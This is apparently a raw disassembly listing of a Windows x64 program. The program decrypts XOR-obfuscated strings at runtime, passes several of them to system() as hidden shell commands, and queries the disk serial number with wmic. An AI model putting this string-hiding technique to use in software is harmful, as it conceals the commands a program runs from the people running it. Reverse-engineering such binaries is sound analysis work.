lea rcx, [rbp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [0x14000beb0]
movsd qword [rbp - 0x80], xmm0
movzx edx, word [0x14000beb8]
mov word [rbp - 0x78], dx
movzx eax, byte [0x14000beba]
mov byte [rbp - 0x80], 0x49
xor byte [rbp - 0x7f], 0x34
xor byte [rbp - 0x7e], 0x35
xor byte [rbp - 0x7d], 0x36
xor byte [rbp - 0x7c], 0x37
xor byte [rbp - 0x7b], 0x38
xor byte [rbp - 0x7a], 0x39
xor byte [rbp - 0x79], 0x3a
xor dl, 0x3b
mov byte [rbp - 0x78], dl
xor byte [rbp - 0x77], 0x3c
xor al, 0x3d
mov byte [rbp - 0x76], al
lea rdx, [rbp - 0x80]
jmp 0x140004f0c
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [0x14000bdc0]
movups xmmword [rbp + 0x350], xmm0
mov eax, dword [0x14000bdd0]
mov dword [rbp + 0x360], eax
movzx eax, word [0x14000bdd4]
mov word [rbp + 0x364], ax
cmp byte [0x14000bdd5], 0
je 0x140005c6c
xor ecx, ecx
cmp esi, 2
jl 0x140005c30
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x354]
mov r8d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140005b30
cmp ecx, 0x16
jge 0x140005c6c
movsxd rax, ecx
lea r8, [rbp + 0x350]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x140005c40
lea rdx, [rbp + 0x350]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0xff0], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1000], xmm1
movdqa xmm0, xmmword [0x14000c2a0]
movdqu xmmword [rbp + 0x1010], xmm0
movdqa xmm1, xmmword [0x14000c200]
movdqu xmmword [rbp + 0x1020], xmm1
movdqa xmm0, xmmword [0x14000c5b0]
movdqu xmmword [rbp + 0x1030], xmm0
movdqa xmm1, xmmword [0x14000c570]
movdqu xmmword [rbp + 0x1040], xmm1
movdqa xmm0, xmmword [0x14000c210]
movdqu xmmword [rbp + 0x1050], xmm0
mov dword [rbp + 0x1060], 0x5d4f1a0c
mov dword [rbp + 0x1064], 0x181a015c
mov dword [rbp + 0x1068], 0x31810
mov byte [rbp + 0x106c], 1
lea rcx, [rbp + 0xff0]
call fcn.140008a80
lea rcx, [rbp + 0xff0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c480]
movdqu xmmword [rbp + 0xe8], xmm0
mov dword [rbp + 0xf8], 0x1007a6c
lea rcx, [rbp + 0xe8]
call fcn.140008a50
lea rcx, [rbp + 0xe8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.pTXP__]
movups xmmword [rbp + 0x380], xmm0
mov eax, dword [0x14000bed0]
mov dword [rbp + 0x390], eax
movzx eax, word [0x14000bed4]
mov word [rbp + 0x394], ax
cmp byte [0x14000bed5], 0
je 0x140005f2c
xor ecx, ecx
cmp esi, 2
jl 0x140005ef0
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x384]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140005df0
cmp ecx, 0x16
jge 0x140005f2c
movsxd rax, ecx
lea r8, [rbp + 0x380]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x140005f00
lea rdx, [rbp + 0x380]
jmp 0x140004f0c
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.pPUQW_eoXLV__1mjkhiBI]
movups xmmword [rbp + 0x130], xmm0
mov eax, dword [0x14000be10]
mov dword [rbp + 0x140], eax
movzx eax, word [0x14000be14]
mov word [rbp + 0x144], ax
movzx eax, byte [0x14000be16]
mov byte [rbp + 0x146], al
xor ecx, ecx
cmp esi, 2
jl 0x1400060e0
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x134]
mov r8d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140005fe0
cmp ecx, 0x17
jge 0x14000611c
movsxd rax, ecx
lea r8, [rbp + 0x130]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x1400060f0
lea rdx, [rbp + 0x130]
mov rcx, r9
call fcn.140008fb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.yxv_X]
mov dword [rbp + 0x168], eax
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000beac]
movups xmm1, xmmword [0x14000be98]
movups xmm0, xmmword [0x14000be88]
mov r10, r8
mov word [rbp + 0x16c], ax
movups xmmword [rbp + 0x158], xmm1
movups xmmword [rbp + 0x148], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x1400062c9
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x14c]
mov r9d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x1400061c0
cmp ecx, 0x26
jl 0x1400062c9
mov rcx, r8
jmp 0x14000630f
movsxd rax, ecx
lea r8, [rbp + 0x148]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x26
jl 0x1400062e0
mov rcx, r10
lea rdx, [rbp + 0x148]
call fcn.140008fb0
mov eax, dword [0x14000bd38]
mov dword [rbp + 0x20], eax
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14000bd3c]
movups xmm0, xmmword [0x14000bd28]
mov r10, r8
mov byte [rbp + 0x24], al
movups xmmword [rbp + 0x10], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x14000649c
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x14]
mov r9d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140006390
cmp ecx, 0x15
jl 0x14000649c
mov rcx, r8
jmp 0x1400064df
movsxd rax, ecx
lea r8, [rbp + 0x10]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x15
jl 0x1400064b0
mov rcx, r10
lea rdx, [rbp + 0x10]
call fcn.140008fb0
mov eax, dword [0x14000bc28]
movups xmm0, xmmword [0x14000bc00]
mov dword [rbp + 0x198], eax
movups xmmword [rbp + 0x170], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bc2c]
movsd xmm0, qword [str.yxzutwvqpU_]
movups xmm1, xmmword [0x14000bc10]
mov r10, r8
mov word [rbp + 0x19c], ax
movsd qword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x180], xmm1
xor ecx, ecx
cmp esi, 2
jl 0x14000668c
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x174]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140006580
cmp ecx, 0x2e
jl 0x14000668c
mov rcx, r8
jmp 0x1400066cf
movsxd rax, ecx
lea r8, [rbp + 0x170]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2e
jl 0x1400066a0
mov rcx, r10
lea rdx, [rbp + 0x170]
call fcn.140008fb0
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14000bc28]
movups xmm0, xmmword [0x14000bc00]
mov dword [rbp + 0x258], eax
movups xmmword [rbp + 0x230], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bc2c]
movsd xmm0, qword [str.yxzutwvqpU_]
movups xmm1, xmmword [0x14000bc10]
mov r10, r8
mov word [rbp + 0x25c], ax
movsd qword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x240], xmm1
xor ecx, ecx
cmp esi, 2
jl 0x14000688c
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x234]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140006780
cmp ecx, 0x2e
jl 0x14000688c
mov rcx, r8
jmp 0x1400068cf
movsxd rax, ecx
lea r8, [rbp + 0x230]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2e
jl 0x1400068a0
mov rcx, r10
lea rdx, [rbp + 0x230]
call fcn.140008fb0
mov eax, dword [str.___gBI]
mov dword [rbp - 0x10], eax
movzx eax, word [0x14000bdbc]
mov word [rbp - 0xc], ax
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14000bdbe]
movups xmm0, xmmword [str.w_F_]
mov r10, r8
mov byte [rbp - 0xa], al
movups xmmword [rbp - 0x20], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140006a5e
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp - 0x1c]
mov r9d, dword [rsp + 0x20]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140006952
cmp ecx, 0x17
jl 0x140006a5e
mov rcx, r8
jmp 0x140006a9f
movsxd rax, ecx
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x140006a70
mov rcx, r10
lea rdx, [rbp - 0x20]
call fcn.140008fb0
mov eax, dword [0x14000bc28]
movups xmm0, xmmword [0x14000bc00]
mov dword [rbp + 0x228], eax
movups xmmword [rbp + 0x200], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bc2c]
movsd xmm0, qword [str.yxzutwvqpU_]
movups xmm1, xmmword [0x14000bc10]
mov r10, r8
mov word [rbp + 0x22c], ax
movsd qword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x210], xmm1
xor ecx, ecx
cmp esi, 2
jl 0x140006c4c
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x204]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
